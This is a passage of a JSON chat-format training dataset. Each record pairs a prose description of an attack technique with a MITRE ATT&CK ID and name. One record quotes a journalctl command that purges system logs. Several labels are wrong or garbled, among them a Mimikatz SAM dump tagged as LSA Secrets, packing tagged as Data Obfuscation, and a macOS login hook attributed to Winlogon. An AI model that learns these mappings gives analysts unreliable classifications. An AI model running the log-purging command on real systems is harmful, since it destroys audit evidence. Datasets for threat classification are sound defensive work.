                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates a reflection attack by sending spoofed HTTP GET requests to multiple unsecured web servers, causing each to respond with sizable HTML pages to the victim."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages SEO poisoning by embedding malicious JavaScript in well‑ranked tutorial pages, ensuring the script executes when victims search for coding tutorials."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses VBA stomping: it first writes a malicious macro, then replaces the macro source with legitimate code, erasing evidence of the injection."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan queries DNS for a subdomain that changes daily, using the response to determine where to send exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors hijacked a content delivery network (CDN) used by a software vendor, serving tampered installer files to customers downloading the latest version of the application."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages mshta.exe with a URL argument pointing to a remote HTML application that downloads and executes a ransomware dropper."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages PowerShell to remove the Mark of the Web attribute from a downloaded payload, preventing security warnings and enabling execution."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the .NET function System.Environment.UserName to obtain the account name of the user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised third‑party software supply chain to distribute a backdoored version of a widely used utility."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor triggers a privilege escalation by abusing a SUID binary that contains a command injection flaw."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor copies user profile pictures from %APPDATA% to a hidden staging folder."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code pulls stored credentials from the Windows Vault using the Vault API."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor concealed a PowerShell script inside a PDF by using steganographic techniques, which extracts the script upon opening the document."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a compromised web application to establish a port‑forwarding tunnel, enabling remote access to internal systems from the Internet."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor initiates MFA verification attempts via the organization's authentication service, generating repeated push notifications to the user’s device."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the Linux tool 'iwlist scan' to discover surrounding Wi‑Fi access points as part of network reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code utilizes native API calls to the Windows Socket API (Ws2_32.dll) to establish a C2 connection."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A covert exfiltration channel is established by encoding sensitive data into image files uploaded to an Instagram account, using Instagram's media upload API to retrieve the data later."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised service account to map the IPC$ share and run a malicious command via WMI."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed legitimate Windows utilities such as 'svchost.exe' to 'explorer.exe' to hide malicious processes."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the build process, a malicious actor gains access to the CI/CD pipeline and modifies the build script to embed a credential-stealing module into the final binary."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed credential dumping and then used the harvested credentials to log into a VNC service for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker places a malicious DLL in the same folder as a legitimate executable, causing the program to load the malicious library due to the default search order."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates an entry in the XDG autostart folder so that the malicious executable runs automatically on Linux desktop startup."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs credential dumping by accessing the Windows Vault to retrieve stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code adds a scheduled task that invokes wscript.exe to execute a JavaScript payload every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool sets a malicious payload as the Winlogon LoginHook, achieving execution whenever a user signs in."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts unencrypted AS-REP data from domain controllers by requesting service tickets for accounts without pre‑authentication, then cracks them offline to recover Kerberos keys."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses RC4 encryption over a TCP socket to communicate with its command server, making network detection difficult."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware attempts to communicate via a fallback HTTPS tunnel hosted on a compromised website if the primary server is down."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors deploy a SOCKS5 proxy on a victim machine, tunneling malicious payloads and exfiltrated data to external servers."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor exploits an outdated web framework to gain code execution and install backdoors on the server."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator gained root access through a vulnerable SSH service and changed the web server's default page to a defaced image."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a rogue shared library and configures the environment to load it during process start."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware uses a proprietary packing algorithm to obscure its payload before execution."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a domain previously associated with a compromised third‑party service to spread ransomware."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a vulnerability to bypass UAC and then changed file ACLs to grant SYSTEM rights."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is registered as a security support provider, allowing code execution before user logon."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply‑chain compromise allowed the attacker to embed a legitimate code‑signing certificate into a software update."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging Mimikatz's 'lsadump::sam' module, the threat actor retrieves LSA secret data."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abused AWS Lambda by uploading a malicious handler that was triggered by a CloudWatch event, allowing execution of arbitrary code without provisioning a server."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor bundles stolen credential files into encrypted archives and sends them to its C2 server using the established HTTPS channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated actor drops a .NET DLL and uses regasm.exe to register it, causing the DLL's entry point to run and establishing a foothold."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches malicious commands by invoking the Windows Control Panel executable (control.exe) to proxy the execution of a payload."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware starts the Windows Explorer process with deceptive arguments to hide its execution chain from process monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker places an exploit kit on a compromised forum that triggers a drive‑by download of a banking trojan for any visitor using an outdated browser."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used PowerShell scripts to query SharePoint for sensitive PDFs, then compressed and exfiltrated them via encrypted channels."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used PowerShell to query the Windows Registry for registered network services on remote machines."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor enumerates the file system for Chromium profile directories and extracts the encrypted password files for later decryption."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised Slack account, the threat actor sends a personalized invitation to an employee, directing them to a malicious phishing site."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group renamed their payload \"winlogon.exe \" adding a trailing space, causing it to blend in with the legitimate Windows logon process."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a hidden endpoint on a compromised legitimate web server, where compromised hosts retrieve JSON‑formatted instructions—this is a dead‑drop resolver via a web service."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a custom helper DLL entry under the Winlogon registry key to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor gathers information about the target's cloud service providers by analyzing billing page screenshots."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group abuses a third‑party app with excessive permissions to download all SharePoint list items containing personal data."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses an internal compromised proxy to tunnel data exfiltration traffic out of the organization."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker captures a VNC session cookie from network traffic and reuses it to hijack the existing VNC remote control session."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a privileged account to adjust the code signing policy, granting execution rights to binaries signed with a custom key."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses credential dumping to obtain the DNS admin password and subsequently creates rogue PTR records for internal reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group monitors the release dates of software updates and patch cycles to infer the target’s business tempo."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary runs a PowerShell script that dumps password hashes from the system's LSA secrets."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code abuses the Microsoft Graph API with an obtained OAuth token to pull email messages from Office 365 accounts."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary crafts a PowerShell script that includes RTLO control characters, making the script's code appear as benign text but executing harmful commands when run."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a vulnerable endpoint to retrieve the web session token from the server's response and uses it to bypass login controls."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits SMB shares to retrieve network maps and machine accounts from the victim's Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware component uses hex-encoding of payloads before injecting them into memory."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged the 'sudo journalctl --rotate && sudo journalctl --vacuum-time=1s' commands on a systemd-based Linux host to truncate journal logs."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access through a drive-by download, an attacker proceeds with lateral movement techniques including exploiting Windows features to gain persistence and evade detection on other systems."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries a domain that resolves to a set of IPs that differ each time, a classic fast-flux pattern."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee fell for a social engineering call and revealed their Salesforce admin credentials, which the attacker used to export customer data."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker calls a target posing as a senior IT administrator and asks the user to provide their Active Directory credentials over the phone."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through DDE, the malware extracts system information from the Task Manager process and exfiltrates it to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑delivery, the adversary leverages the target's build tools to compile malicious code, effectively hiding the payload in legitimate compilation processes."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mavinject, the attacker injects a malicious module into the Windows Management Instrumentation (WMI) service, achieving stealthy execution via a trusted binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers purchased a zero‑day vulnerability for a popular firewall from a black‑market vendor to gain initial access to target networks."
            },
            {
